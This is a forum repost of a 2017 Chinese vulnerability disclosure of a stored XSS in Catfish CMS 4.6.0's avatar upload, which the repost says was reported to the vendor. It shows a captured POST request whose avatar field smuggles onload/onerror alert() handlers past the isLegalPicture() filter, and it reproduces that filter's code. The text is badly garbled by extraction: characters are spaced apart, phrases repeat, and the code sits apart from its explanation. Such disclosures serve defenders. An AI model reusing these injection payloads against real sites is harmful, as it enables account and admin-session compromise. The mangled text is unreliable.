搜索

[12028] 2017-11-19_鲶鱼CMS存储XSS漏洞披露

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2017-11-19_鲶鱼CMS存储XSS漏洞披露 鲶 鱼 C M S 存 储 X S S 漏 洞 披 露 D e e n   F r e e B u f   2 0 1 7 - 1 1 - 1 9 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： D e e n ， 属 于 ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 原 创 奖 励 计 划 ， 禁 止 转 载 概 述 概 述 C a t f i s h ( 鲶 鱼 鲶 鱼 )   C M S 是 一 款 开 源 的 是 一 款 开 源 的 P H P 内 容 管 理 系 统 。 这 个 内 容 管 理 系 统 。 这 个 c m s 是 十 月 我 和 学 长 小 胡 子 一 起 审 计 的 。 所 以 在 这 里 是 十 月 我 和 学 长 小 胡 子 一 起 审 计 的 。 所 以 在 这 里 声 明 下 ， 洞 是 他 找 的 ， 他 不 善 言 辞 ， 授 权 给 我 来 写 文 章 。 漏 洞 已 提 交 给 厂 商 ， 同 意 公 开 此 漏 洞 。 声 明 下 ， 洞 是 他 找 的 ， 他 不 善 言 辞 ， 授 权 给 我 来 写 文 章 。 漏 洞 已 提 交 给 厂 商 ， 同 意 公 开 此 漏 洞 。 X S S 漏 洞 点 漏 洞 点 这 里 的 版 本 是 V 4 . 6 . 0 。 出 问 题 的 地 方 是 头 像 上 传 这 个 地 方 ， 这 个 c m s 以 前 爆 过 一 枚 任 意 文 件 删 除 漏 洞 也 是 这 里 。 1 .   先 注 册 一 个 普 通 用 户 2 .   登 录 ， 上 传 一 张 头 像 。 3 .   上 传 成 功 后 开 启 抓 包 ， 点 击 “ 头 像 保 存 ” 。 抓 到 数 据 如 下 抓 到 数 据 如 下 ：
修 改 修 改 ： 回 显 回 显 ： 管 理 员 后 台 浏 览 普 通 用 户 管 理 管 理 员 后 台 浏 览 普 通 用 户 管 理 ： 成 功 成 功 x 到 后 台 ！ 到 后 台 ！ 相 关 代 码 跟 进 相 关 代 码 跟 进 页 面 代 码 ， 9 6 行 这 个 函 数 对 传 入 的 a v a t a r 参 数 进 行 检 验 ， 继 续 跟 进 位 于 页 面 ， 3 1 3 行 P O S T   / d a i m a s h e n j i / C a t f i s h C M S - 4 . 6 . 0 / i n d e x . p h p / u s e r / i n d e x / t o u x i a n g . h t m l   H T T P / 1 . 1 H o s t :   1 2 7 . 0 . 0 . 1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   6 . 1 ;   W O W 6 4 ;   r v : 5 3 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 3 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e C o n t e n t - T y p e :   a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d C o n t e n t - L e n g t h :   1 3 9 R e f e r e r :   h t t p : / / 1 2 7 . 0 . 0 . 1 / d a i m a s h e n j i / C a t f i s h C M S - 4 . 6 . 0 / i n d e x . p h p / u s e r / i n d e x / t o u x i a n g . h t m l C o o k i e :   t h i n k _ v a r = z h - c n ;   P H P S E S S I D = u o 2 u 2 9 h 3 s f 9 e r 6 b j 9 f 3 d 3 6 r j 8 0 C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 a v a t a r = h t t p : / / 1 2 7 . 0 . 0 . 1 / d a i m a s h e n j i / C a t f i s h C M S - 4 . 6 . 0 / d a t a / u p l o a d s / 2 0 1 7 1 1 0 9 / 0 2 2 d 8 0 4 c 4 e a 9 a f 6 6 c 1 a 1 f 9 0 1 d 7 c 0 b 6 a 1 . p n g "   o n l o a d = " a l e r t ( 1 ) "   a = " 1 . j p g & f i l e s e l e c t % 5 B % 5 D = C a t f i s h C M S - 4 . 6 . 0 / a p p l i c a t i o n / a d m i n / c o n t r o l l e r / I n d e x . p h p C a t f i s h C M S - 4 . 6 . 0 / a p p l i c a t i o n / a d m i n / c o n t r o l l e r / C o m m o n . p h p
三 个 限 制 ： 1 .   参 数 不 能 含 有   “ > ” 2 .   要 以 j p e g , j p g , p n g , g i f   结 尾 3 .   要 含 有   “ / d a t a / “   路 径 观 察 原 来 输 出 点 ， 是 以 双 引 号 进 行 闭 合 ， 触 发 事 件 可 以 o n l o a d 或 者 o n e r r o r 或 者 其 他 ， 以 . j p g 结 尾 。 所 以 我 们 p a y l o a d 为 ： 一 点 感 悟 一 点 感 悟 最 近 看 到 大 佬 们 在 微 博 说 的 几 句 ：   如 果 某 个 地 方 爆 出 了 洞 ， 就 可 以 往 这 个 地 方 深 挖 。 因 为 最 后 讲 道 理 程 序 会 出 问 题 不 仅 仅 是 代 码 的 问 题 ， 而 是 人 的 问 题 。 * 本 文 原 创 作 者 ： 本 文 原 创 作 者 ： D e e n ， 属 于 ， 属 于 F r e e B u f 原 创 奖 励 计 划 ， 禁 止 转 载 原 创 奖 励 计 划 ， 禁 止 转 载 阅 读 原 文   p r o t e c t e d   f u n c t i o n   i s L e g a l P i c t u r e ( $ p i c t u r e )         {                 i f ( s t r i p o s ( $ p i c t u r e , ' > ' )   = = =   f a l s e )                 {                         $ p a t h i n f o   =   p a t h i n f o ( $ p i c t u r e ) ;                         i f ( i s s e t ( $ p a t h i n f o [ ' e x t e n s i o n ' ] ) )                         {                                 i f ( i n _ a r r a y ( $ p a t h i n f o [ ' e x t e n s i o n ' ] , [ ' j p e g ' , ' j p g ' , ' p n g ' , ' g i f ' ] )   & &   s t r i p o s ( $ p a t h i n f o [ ' d i r n a m e ' ] , ' / d a t a / ' )   ! = =   f a l s e )                                 {                                         r e t u r n   t r u e ;                                 }                         }                 }                 r e t u r n   f a l s e ;         } a v a t a r = [ h t t p : / / 1 2 7 . 0 . 0 . 1 / d a i m a s h e n j i / C a t f i s h C M S - 4 . 6 . 0 / d a t a / u p l o a d s / 2 0 1 7 1 1 0 9 / t e s t . p n g ] ( h t t p : / / 1 2 7 . 0 . 0 . 1 / d a i m a s h e n j i / C a t f i s h C M S - 4 . 6 . 0 / d a t a / u p l o a d s / 2 0 1 7 1 1 0 9 / t e s t . p n g ) "   o n e r r o r = " a l e r t ( 2 ) "   a = " 1 . j p g
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理